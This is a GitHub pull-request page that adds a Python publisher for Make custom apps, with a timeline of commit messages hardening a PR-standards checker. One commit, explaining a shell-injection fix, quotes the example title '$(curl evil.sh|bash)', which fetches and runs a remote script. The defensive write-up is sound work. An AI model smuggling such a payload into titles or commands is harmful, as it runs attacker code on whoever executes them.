Skip to content

Add make/publish-app.py — publish a Make custom app from app.json - #2

Merged
itsryanarmani merged 1 commit into
mainfrom
add-make-publish-app
Aug 22, 2026
Merged

itsryanarmani merged 1 commit into
mainfrom
add-make-publish-app

Conversation

@itsryanarmani

Copy link
Copy Markdown
Owner

Make has no whole-app.json import; a custom app is stored as separate components you otherwise paste by hand. This adds a generalized publisher that pushes a bundled app.json (base/connection/webhooks/modules/rpcs) to a live Make app over the SDK Apps API.

  • Args: --app --app-json --version --zone --connection --pause --push-base --dry-run; token via MAKE_TOKEN.
  • Bakes in the API facts learned live: versioned modules/rpcs vs unversioned webhooks (sections at /apps/webhooks/{name}/{section}), the typeId map (4 action / 9 search / 10 instant-trigger / 12 universal), PUT-section paths (api←communication, expect←params), the 1010 rate limit + 30s backoff, and the attach/detach {{account.apiKey}} auth quirk.
  • Idempotent (skips existing by name/label). --dry-run to preview.

Make has no whole-app.json import; a custom app is stored as separate
components you otherwise build/paste by hand in the UI. This script pushes a
bundled app.json (base/connection/webhooks/modules/rpcs) to a live app over
the SDK Apps API. Generalized: --app/--version/--zone/--connection, MAKE_TOKEN,
--dry-run. Bakes in the hard-won API facts (versioned modules/rpcs vs
unversioned webhooks, typeId map, PUT section paths, the 1010 rate limit +
backoff, and the account.apiKey attach/detach auth quirk).
@itsryanarmani
itsryanarmani merged commit 045cc00 into main Aug 22, 2026
1 check failed
@itsryanarmani
itsryanarmani deleted the add-make-publish-app branch August 22, 2026 22:30
itsryanarmani added a commit that referenced this pull request Aug 29, 2026
Four review findings.

The chore escape disabled far more than it claimed. Because a chore branch has
no issue number, and the title and body checks were gated on having one, a
chore PR skipped every title and body rule: imperative mood, length, sections,
Assisted-by, all of it. The knob became a way to opt out of the standard. It
now skips the issue requirement and nothing else, and a chore PR carrying a
closing reference fails, because that is not a chore.

pr --repo read the config of whatever checkout you were standing in, so
checking another repo's PR validated it against the local prefix and limits.
It now fetches the target repo's config and says which one it used, because a
silent wrong answer was the whole bug.

The issue check accepted a pull request: GitHub's issues endpoint returns PRs
too, shaped like issues. It now rejects a number that resolves to a PR.

Closing references now count all nine GitHub keywords rather than Closes and
Fixes alone, and ignore anything inside an HTML comment so the template's own
example does not count. Closes #1 plus Resolves #2 is two concerns.

The Assisted-by wording in pr-standards.md promised a final-line trailer that
the check never enforced. The check is the reasonable behaviour, so the
document was corrected instead.
itsryanarmani added a commit that referenced this pull request Aug 29, 2026
master was in the default exemption list and never in the documented one. A
pull request whose head branch is named master therefore skipped issue, title
and body validation entirely, which made the name a bypass. Every repo here
defaults to main, so the entry bought nothing and cost that.

The closing-reference matcher missed two forms GitHub accepts: a colon after
the keyword, and the cross-repo owner/name#N reference. Closes #1 plus Fixes: #2
counted as one reference and passed as one concern. It now recognises both, and
carries the repo alongside the number so a cross-repo reference counts toward
the one-reference rule while never satisfying the branch issue.

Branch issue numbers are now [1-9][0-9]*. There is no issue #0, and allowing a
leading zero made cr-007-x and cr-7-x two names for one issue.

The spec also described the layer table as if every layer were installed
everywhere, and repeated the too-broad claim that Free cannot gate anything.
Public repos can be gated on Free; only private ones need Pro.
itsryanarmani added a commit that referenced this pull request Aug 29, 2026
* Add the PR standard and its checker

Generation cost collapsed; review cost did not. Without a rule about the shape
of a change, an agent fleet drifts into pull requests nobody can review.

pr-standards.md is the standard: one issue, one PR, one concern, under 500
counted lines. pr-standards is the program that checks it, in three modes so
that CI, the pre-push hook and the agent hook all run the same rules instead of
three copies that drift.

The line count excludes lockfiles, build output, snapshots, generated code and
migrations, and reports both totals. A cap that punishes an agent for a lockfile
it did not write teaches the agent that the cap is noise.

The prefix comes from GITHUB_REPOSITORY or the origin remote, not the directory
name: a worktree is checked out to a directory the author named, so deriving
from the basename would silently change the expected prefix.

Closes #53

* Fix the chore escape, the wrong-repo config, and the issue check

Four review findings.

The chore escape disabled far more than it claimed. Because a chore branch has
no issue number, and the title and body checks were gated on having one, a
chore PR skipped every title and body rule: imperative mood, length, sections,
Assisted-by, all of it. The knob became a way to opt out of the standard. It
now skips the issue requirement and nothing else, and a chore PR carrying a
closing reference fails, because that is not a chore.

pr --repo read the config of whatever checkout you were standing in, so
checking another repo's PR validated it against the local prefix and limits.
It now fetches the target repo's config and says which one it used, because a
silent wrong answer was the whole bug.

The issue check accepted a pull request: GitHub's issues endpoint returns PRs
too, shaped like issues. It now rejects a number that resolves to a PR.

Closing references now count all nine GitHub keywords rather than Closes and
Fixes alone, and ignore anything inside an HTML comment so the template's own
example does not count. Closes #1 plus Resolves #2 is two concerns.

The Assisted-by wording in pr-standards.md promised a final-line trailer that
the check never enforced. The check is the reasonable behaviour, so the
document was corrected instead.

* Close two holes CodeRabbit found in the checker

master was in the default exemption list and never in the documented one. A
pull request whose head branch is named master therefore skipped issue, title
and body validation entirely, which made the name a bypass. Every repo here
defaults to main, so the entry bought nothing and cost that.

The closing-reference matcher missed two forms GitHub accepts: a colon after
the keyword, and the cross-repo owner/name#N reference. Closes #1 plus Fixes: #2
counted as one reference and passed as one concern. It now recognises both, and
carries the repo alongside the number so a cross-repo reference counts toward
the one-reference rule while never satisfying the branch issue.

Branch issue numbers are now [1-9][0-9]*. There is no issue #0, and allowing a
leading zero made cr-007-x and cr-7-x two names for one issue.

The spec also described the layer table as if every layer were installed
everywhere, and repeated the too-broad claim that Free cannot gate anything.
Public repos can be gated on Free; only private ones need Pro.

* Document the colon and cross-repo closing forms

The previous commit message claimed these spec changes; a scripting error meant
only the code landed. This is the documentation half.

Records the forms the matcher now accepts, that a cross-repo reference counts
toward the one-reference rule but cannot satisfy the branch issue, that issue
numbers exclude 0 and leading zeros, and that master is no longer exempt.

Also replaces the claim that Free cannot gate anything. That is true for private
repos only; public repos can have rulesets and required checks today. And it
warns against requiring the pr-standards check on a repo that does not yet run
the workflow, which would block every pull request there forever.

* Say where the prefix came from

A prefix guessed from the checkout directory is the one most likely to be wrong,
because a worktree lives in a directory the author named. It used to print
identically to a prefix read from the repo's own config, so a wrong answer was
indistinguishable from a right one.

branch and precheck now report the source: the config file, GITHUB_REPOSITORY,
the origin remote, or the directory name. The directory remains the last resort
rather than an error, since branch mode has to work in a checkout with no
remote, but it no longer hides.

* Judge a PR by the base branch rules, not the ones it wrote

The council found the hole that defeated the whole check. In CI the checkout is
the pull request's own head, and runPr loaded the config from it whenever
GITHUB_REPOSITORY matched the target. So a PR that edited
.github/pr-standards.json was judged by the rules in that same diff: set
excludeGlobs to ["**"], or raise maxLines, and the check whose entire purpose is
to catch that change waved it through.

The config now always comes from the base branch through the contents API, which
holds the last rules that survived review. A PR that touches the config file
also says so in its warnings, so the change stays visible rather than silent.

Second: the suggested fix interpolated the PR title, which its author controls,
into a double-quoted shell command that the output invites an agent or a human
to run. A title of [XX-9] Fix $(curl evil.sh|bash) produced a live command
substitution. Titles are single-quoted and escaped now, so the text is inert.

Third: the files endpoint stops at 3000 entries without saying so, so a large
PR could be measured on part of its diff. The count is compared against the
pull request's own changed_files and reported as a floor when they disagree.

* Render the two new warnings instead of printing undefined

My own regression from the previous commit. Warnings are rendered as
{check, got, expected, fix} objects, and the file-truncation and
config-self-edit notices were pushed in as plain strings, so human output would
have printed WARN undefined with three undefined fields. Both paths are ordinary
rather than exotic: any PR editing .github/pr-standards.json, and any PR large
enough to hit the 3000-file cap.

Also: a repo name of one or two characters derived a one-character prefix, which
then failed validation with a message about the config when the real cause was
the name. And gh --version was spawned synchronously on every API call,
including once per page of a paginated file list, so the answer is cached.

* Honour the size override only from the repo owner

The override is the one deliberate escape hatch and the standard says the owner
applies it, but nothing checked who did. Any collaborator or token with
label-write could add oversized-approved and clear the cap, which is precisely
the actor the rule exists to stop. The labelling event now decides: the override
counts only when the owner applied it, and otherwise the caps apply and the
output says who tried. If the events cannot be read the override is dropped
rather than trusted, because failing closed on an escape hatch is the safe
direction. overrideActors widens it deliberately when a repo needs that.

Also from the same review: the verification-line matcher put its word boundary
before the command name instead of after, so bun matched inside Bundle and
'Bundle was verified' satisfied both halves of the check while naming no
command. And a root-level file was recorded as a directory called '.', so
README.md plus three directories counted as four.

* Show the flags the pr example actually requires

The documented pr --json example omitted --repo and --number, which runPr
rejects, so anyone running the line as written got exit 2 and a configuration
error rather than a demonstration of JSON output.

* Paginate the label events, and stop passing on a partial diff

Three from the sixth review round, the first a regression from the fifth.

The issue-events endpoint defaults to 30 items, and label changes, reopens and
every commit that references the issue all land there. So on an actively worked
pull request the owner's labelling event was often not on the first page, the
override was stripped, and a PR that had legitimately earned it failed. The call
paginates now.

A truncated file list only produced a warning, so the size check could still
exit 0 while measuring part of a diff. Passing on a partial list is the one
outcome that is actively wrong, because the unseen remainder is exactly where
the size-triggering change would be. It is a failure now, and the message says
to split the PR, which is the right answer for anything near 3000 files anyway.

An empty .github/pr-standards.json read over the API fell through to defaults
while the same file read locally raised a configuration error. The same mistake
produced different rules depending on the caller; both now error.

* Let a repo admin clear the caps, not just a matching login

On an organization-owned repo the first path segment is the org slug rather than
anyone's login, so comparing the labeller against it could never match and the
documented escape hatch was dead for every org repo. When the name check fails,
ask GitHub who actually administers the repo. That costs one request, only when
a label is present and the cheap check already missed, and an unreadable answer
still refuses rather than trusts.

The title tag also accepted a leading zero while branch names rejected one, so
[CR-0142] passed on branch cr-142 and a single issue had two written forms.

* Derive a usable prefix from a name containing digits

A prefix must be 2 to 4 lowercase letters, but the derivation fed the repo name
through unfiltered, so 3d-tools produced 3t and 2fa-app produced 2fa. Both then
failed validateConfig and exited 2 on every invocation, with a message about the
config rather than about the name that caused it, on a repo whose owner had done
nothing wrong.

Non-letters are stripped before deriving, and a name with no usable letters at
all falls back to zz rather than erroring. Both cases stay overridable in
.github/pr-standards.json, which is where a real answer belongs.
itsryanarmani added a commit that referenced this pull request Oct 9, 2026
Four review findings.

The chore escape disabled far more than it claimed. Because a chore branch has
no issue number, and the title and body checks were gated on having one, a
chore PR skipped every title and body rule: imperative mood, length, sections,
Assisted-by, all of it. The knob became a way to opt out of the standard. It
now skips the issue requirement and nothing else, and a chore PR carrying a
closing reference fails, because that is not a chore.

pr --repo read the config of whatever checkout you were standing in, so
checking another repo's PR validated it against the local prefix and limits.
It now fetches the target repo's config and says which one it used, because a
silent wrong answer was the whole bug.

The issue check accepted a pull request: GitHub's issues endpoint returns PRs
too, shaped like issues. It now rejects a number that resolves to a PR.

Closing references now count all nine GitHub keywords rather than Closes and
Fixes alone, and ignore anything inside an HTML comment so the template's own
example does not count. Closes #1 plus Resolves #2 is two concerns.

The Assisted-by wording in pr-standards.md promised a final-line trailer that
the check never enforced. The check is the reasonable behaviour, so the
document was corrected instead.
itsryanarmani added a commit that referenced this pull request Oct 9, 2026
master was in the default exemption list and never in the documented one. A
pull request whose head branch is named master therefore skipped issue, title
and body validation entirely, which made the name a bypass. Every repo here
defaults to main, so the entry bought nothing and cost that.

The closing-reference matcher missed two forms GitHub accepts: a colon after
the keyword, and the cross-repo owner/name#N reference. Closes #1 plus Fixes: #2
counted as one reference and passed as one concern. It now recognises both, and
carries the repo alongside the number so a cross-repo reference counts toward
the one-reference rule while never satisfying the branch issue.

Branch issue numbers are now [1-9][0-9]*. There is no issue #0, and allowing a
leading zero made cr-007-x and cr-7-x two names for one issue.

The spec also described the layer table as if every layer were installed
everywhere, and repeated the too-broad claim that Free cannot gate anything.
Public repos can be gated on Free; only private ones need Pro.
itsryanarmani added a commit that referenced this pull request Oct 28, 2026
Four review findings.

The chore escape disabled far more than it claimed. Because a chore branch has
no issue number, and the title and body checks were gated on having one, a
chore PR skipped every title and body rule: imperative mood, length, sections,
Assisted-by, all of it. The knob became a way to opt out of the standard. It
now skips the issue requirement and nothing else, and a chore PR carrying a
closing reference fails, because that is not a chore.

pr --repo read the config of whatever checkout you were standing in, so
checking another repo's PR validated it against the local prefix and limits.
It now fetches the target repo's config and says which one it used, because a
silent wrong answer was the whole bug.

The issue check accepted a pull request: GitHub's issues endpoint returns PRs
too, shaped like issues. It now rejects a number that resolves to a PR.

Closing references now count all nine GitHub keywords rather than Closes and
Fixes alone, and ignore anything inside an HTML comment so the template's own
example does not count. Closes #1 plus Resolves #2 is two concerns.

The Assisted-by wording in pr-standards.md promised a final-line trailer that
the check never enforced. The check is the reasonable behaviour, so the
document was corrected instead.
itsryanarmani added a commit that referenced this pull request Oct 28, 2026
master was in the default exemption list and never in the documented one. A
pull request whose head branch is named master therefore skipped issue, title
and body validation entirely, which made the name a bypass. Every repo here
defaults to main, so the entry bought nothing and cost that.

The closing-reference matcher missed two forms GitHub accepts: a colon after
the keyword, and the cross-repo owner/name#N reference. Closes #1 plus Fixes: #2
counted as one reference and passed as one concern. It now recognises both, and
carries the repo alongside the number so a cross-repo reference counts toward
the one-reference rule while never satisfying the branch issue.

Branch issue numbers are now [1-9][0-9]*. There is no issue #0, and allowing a
leading zero made cr-007-x and cr-7-x two names for one issue.

The spec also described the layer table as if every layer were installed
everywhere, and repeated the too-broad claim that Free cannot gate anything.
Public repos can be gated on Free; only private ones need Pro.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant